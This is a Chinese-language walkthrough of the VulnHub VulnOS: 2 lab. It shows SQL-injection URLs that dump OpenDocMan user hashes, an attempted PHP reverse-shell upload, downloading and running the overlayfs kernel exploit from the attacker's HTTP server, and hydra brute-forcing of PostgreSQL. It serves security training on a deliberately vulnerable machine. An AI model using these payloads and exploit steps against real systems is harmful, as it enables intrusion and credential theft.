vulnhub VulnOS: 2
本文思路:
nmap端口掃描-->訪問(wèn)網(wǎng)站搜集信息-->利用OpenDocMan v1.2.7的sql注入漏洞獲取webmin用戶的密碼-->webmin用戶ssh登錄搜集信息-->利用內(nèi)核版本漏洞提權(quán)(或者 爆破postgresql用戶名密碼-->postgresql中獲得vulnosadmin的密碼-->通過(guò)vulnosadmin用戶目錄下的r00t.blend文件獲得root用戶密碼)
具體步驟:
前置步驟:arp-scan掃描得到靶機(jī)ip
攻擊機(jī)中輸入
sudo arp-scan -l掃描到同網(wǎng)段ip,根據(jù)靶機(jī)MAC地址,可知本靶機(jī)ip為192.168.101.27
步驟1:nmap端口掃描
攻擊機(jī)上輸入以下命令,對(duì)靶機(jī)進(jìn)行TCP全端口的掃描
sudo nmap -sS -A -p- 192.168.101.27掃描出開(kāi)放端口22(ssh),80(http),6667(irc,這個(gè)有點(diǎn)神奇,不知道后面會(huì)不會(huì)用到)
步驟2:登錄網(wǎng)頁(yè)收集信息
瀏覽器訪問(wèn):http://192.168.101.27/
進(jìn)來(lái)之后是這樣的提示通過(guò)滲透website獲取root權(quán)限和flag
點(diǎn)擊上圖的website,來(lái)到? http://192.168.101.27/jabc/?
在這個(gè)站點(diǎn)四處逛逛,最后來(lái)到了documentation頁(yè)面:?http://192.168.101.27/jabc/?q=node/7
啥也沒(méi)有,就有點(diǎn)詭異
右鍵 查看頁(yè)面源代碼,發(fā)現(xiàn)隱藏的提示
根據(jù)上圖中的提示訪問(wèn):?http://192.168.101.27/jabcd0cs/
用戶名和密碼都是guest
在這個(gè)站點(diǎn)也翻了一遍沒(méi)發(fā)現(xiàn)啥特有用的,但注意到網(wǎng)站是用OpenDocMan v1.2.7創(chuàng)建的。
在exploit-db中查找OpenDocMan,找到一條版本符合的
OpenDocMan 1.2.7 - Multiple Vulnerabilities - PHP webapps Exploithttps://www.exploit-db.com/exploits/32075里面記錄了兩個(gè)問(wèn)題,一個(gè)是sql注入,由于我們現(xiàn)在是guest用戶,可能可以利用這個(gè)獲得管理員賬戶和密碼;第二個(gè)是通過(guò)訪問(wèn)控制漏洞使當(dāng)前用戶獲取管理員權(quán)限,我沒(méi)用這個(gè)方法,但有小伙伴用這個(gè)方法也成功了。
步驟3:利用sql注入獲取管理員賬戶和密碼
那就試試sql注入吧:
瀏覽器訪問(wèn)如下url,獲得當(dāng)前數(shù)據(jù)庫(kù)名稱(其實(shí)這步?jīng)]啥必要)
http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9?瀏覽器訪問(wèn)如下url,獲得當(dāng)前數(shù)據(jù)庫(kù)所有表名稱
http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()瀏覽器訪問(wèn)如下url,獲得當(dāng)前數(shù)據(jù)庫(kù)表odm_user的所有列名稱。
特別注意,后端應(yīng)該是過(guò)濾了引號(hào),所以需要用十六進(jìn)制編碼來(lái)表示表名。
http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0x6f646d5f75736572 and table_schema=database()瀏覽器訪問(wèn)如下url,獲得當(dāng)前數(shù)據(jù)庫(kù)表odm_user的列username和password的所有值
http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(concat(username,0x5e,password)),3,4,5,6,7,8,9 from odm_user從上圖結(jié)果可知,這個(gè)站點(diǎn)有兩個(gè)用戶,一個(gè)是我們已知的guest,另一個(gè)叫webmin,可能是管理員。
拿webmin的密碼到md5解密網(wǎng)站上去解一下,得到webmin的密碼webmin1980
步驟4:網(wǎng)頁(yè)上的無(wú)效操作 TAT
拿webmin賬戶密碼登錄http://192.168.101.27/jabcd0cs/?
可以發(fā)現(xiàn)admin頁(yè)面http://192.168.101.27/jabcd0cs/admin.php
由于現(xiàn)階段的目標(biāo)是getshell,且網(wǎng)站有上傳文件的功能,且之前嘗試上傳php文件沒(méi)有上傳成功,所以很有可能是需要用管理員賬戶修改上傳文件相關(guān)的配置。
點(diǎn)擊Edit file types進(jìn)入http://192.168.101.27/jabcd0cs/filetypes.php?submit=update&state=2
點(diǎn)Add File Type進(jìn)入http://192.168.101.27/jabcd0cs/filetypes.php?submit=AddNew?
之前上傳php文件的時(shí)候報(bào)的是不支持text/x-php,這里把text/x-php加上
來(lái)到http://192.168.101.27/jabcd0cs/add.php上傳php反彈shell文件
上傳成功
在??http://192.168.101.27/jabcd0cs/settings.php?submit=update&state=2?可以找到文件上傳路徑
訪問(wèn)文件上傳路徑?http://192.168.101.27/jabcd0cs/uploads/?發(fā)現(xiàn)文件轉(zhuǎn)換為.dat了。所以如果想通過(guò)訪問(wèn)php反彈shell文件獲得反彈shell,還需要找到一個(gè)本地文件包含漏洞,但是遍訪網(wǎng)站并沒(méi)有找到這個(gè)漏洞TAT……這條路就斷了
步驟5:getshell--用webmin賬號(hào)登錄ssh
用剛剛獲得的webmin賬號(hào)和密碼webmin1980登錄ssh,登錄成功,獲得shell
步驟6:根據(jù)內(nèi)核版本提權(quán)
查看靶機(jī)內(nèi)核版本
uname -a?在exploit-db上搜索3.13.0,找到一個(gè)提權(quán)腳本
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploithttps://www.exploit-db.com/exploits/37292把這個(gè)腳本下載到攻擊機(jī)上,攻擊機(jī)上開(kāi)http服務(wù)
python -m SimpleHTTPServer 7777把這個(gè)提權(quán)腳本從攻擊機(jī)下載到靶機(jī)上
wget http://192.168.101.25:7777/37292.c在靶機(jī)上編譯
gcc -o 37292 37292.c?執(zhí)行
./37292成功提權(quán)?
輸入如下命令,獲得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'找到flag?
步驟7:另一種提權(quán)方法:通過(guò)另一個(gè)用戶提權(quán)
其實(shí)到上一步這個(gè)靶機(jī)就可以結(jié)束了,但打靶機(jī)總不能老用內(nèi)核提權(quán)吧,太沒(méi)勁了。
在vulnhub上看到一個(gè)挺復(fù)雜的提權(quán)方法,跟著學(xué)習(xí)一下
g0blin Research: VulnOS 2 VulnHub Writeuphttps://g0blin.co.uk/vulnos-2-vulnhub-writeup/https://download.vulnhub.com/media/vulnos2/VulnOSv2%20Walkthrough%20-%20c4b3rw0lf.pdfhttps://download.vulnhub.com/media/vulnos2/VulnOSv2%20Walkthrough%20-%20c4b3rw0lf.pdf(1)用webmin賬號(hào)密碼ssh登錄之后,首先切換到上一級(jí)目錄,發(fā)現(xiàn)還有一個(gè)用戶目錄vulnosadmin,這個(gè)目錄webmin是沒(méi)有權(quán)限的。
(2)再進(jìn)到webmin目錄下,解壓?post.tar.gz?
tar zxvf post.tar.gz看解壓出來(lái)的結(jié)果,有很多hydra相關(guān)的文件,應(yīng)該是要用到hydra爆破?
?
(3)查看靶機(jī)監(jiān)聽(tīng)狀態(tài)的端口
由于webmin沒(méi)有netstat -p選項(xiàng)的權(quán)限,所以得netstat兩遍:
第一遍
netstat -ant第二遍
netstat -at兩遍一對(duì)比,發(fā)現(xiàn)本地監(jiān)聽(tīng)的一個(gè)是mysql(3306端口),一個(gè)是postgresql(5432端口)。
由于上一步中解壓的文件夾名稱是post,所以合理推測(cè)要爆破的是postgresql(5432端口)。
(4)安裝hydra
進(jìn)post目錄
cd post輸入
./configure再輸入
make輸入如下命令,如果正常返回help結(jié)果,則表示hydra安裝成功
hydra --help??
(5)拷貝密碼字典到靶機(jī)
攻擊機(jī)上進(jìn)入/usr/share/metasploit-framework/data/wordlists目錄,開(kāi)http服務(wù)
python -m SimpleHTTPServer 7777靶機(jī)shell中輸入,下載字典postgres_default_pass.txt
wget http://192.168.101.25:7777/postgres_default_pass.txt(6)用hydra爆破postgresql密碼
靶機(jī)shell輸入命令
./hydra -L postgres_default_pass.txt -P postgres_default_pass.txt localhost postgres爆破結(jié)果如下圖,用戶名postgres,密碼postgres
(7) 進(jìn)入postgresql,拿到vulnosadmin用戶的密碼
登錄postgresql
psql -h localhost -U postgres查看所有數(shù)據(jù)庫(kù)
postgres=# \l進(jìn)入system數(shù)據(jù)庫(kù)
postgres=# \c system列出system數(shù)據(jù)庫(kù)的表
system=# \dt獲取system數(shù)據(jù)庫(kù)users表的內(nèi)容(注意結(jié)尾分號(hào),關(guān)鍵字大寫)
system=# SELECT * FROM users;獲取到?vulnosadmin用戶的密碼c4nuh4ckm3tw1c3
(8)vulnosadmin用戶ssh登錄
ssh vulnosadmin@192.168.101.27該用戶目錄下有一文件r00t.blend
(9)將r00t.blend拷貝到攻擊機(jī)
靶機(jī)vulnosadmin用戶shell開(kāi)http服務(wù),監(jiān)聽(tīng)8888端口
python -m SimpleHTTPServer 8888攻擊機(jī)下載?r00t.blend文件
wget http://192.168.101.27:8888/r00t.blend(10)攻擊機(jī)(kali)安裝blender
安裝snapd
sudo apt update sudo apt install snapd啟動(dòng)snapd
sudo systemctl start snapd安裝blender
sudo snap install blender --classic(11)用blender打開(kāi)r00t.blend查看root用戶的密碼
打開(kāi)blender
/snap/bin/blender用blender打開(kāi)r00t.blend,剛打開(kāi)的時(shí)候就是一個(gè)四面不透風(fēng)的方塊,右上角小框框里面選Text,這個(gè)時(shí)候就能看到文字了
上面的圖看不清到底什么字,左邊選Rotate,旋轉(zhuǎn)一下文字,可以看清是ab12fg//drg了,這個(gè)是root用戶的密碼
(12)root用戶ssh登錄
ssh root@192.168.101.27輸入密碼?ab12fg//drg,成功登錄
總結(jié)
以上是生活随笔為你收集整理的vulnhub VulnOS: 2的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: raptor
- 下一篇: MATSim笔记01-controler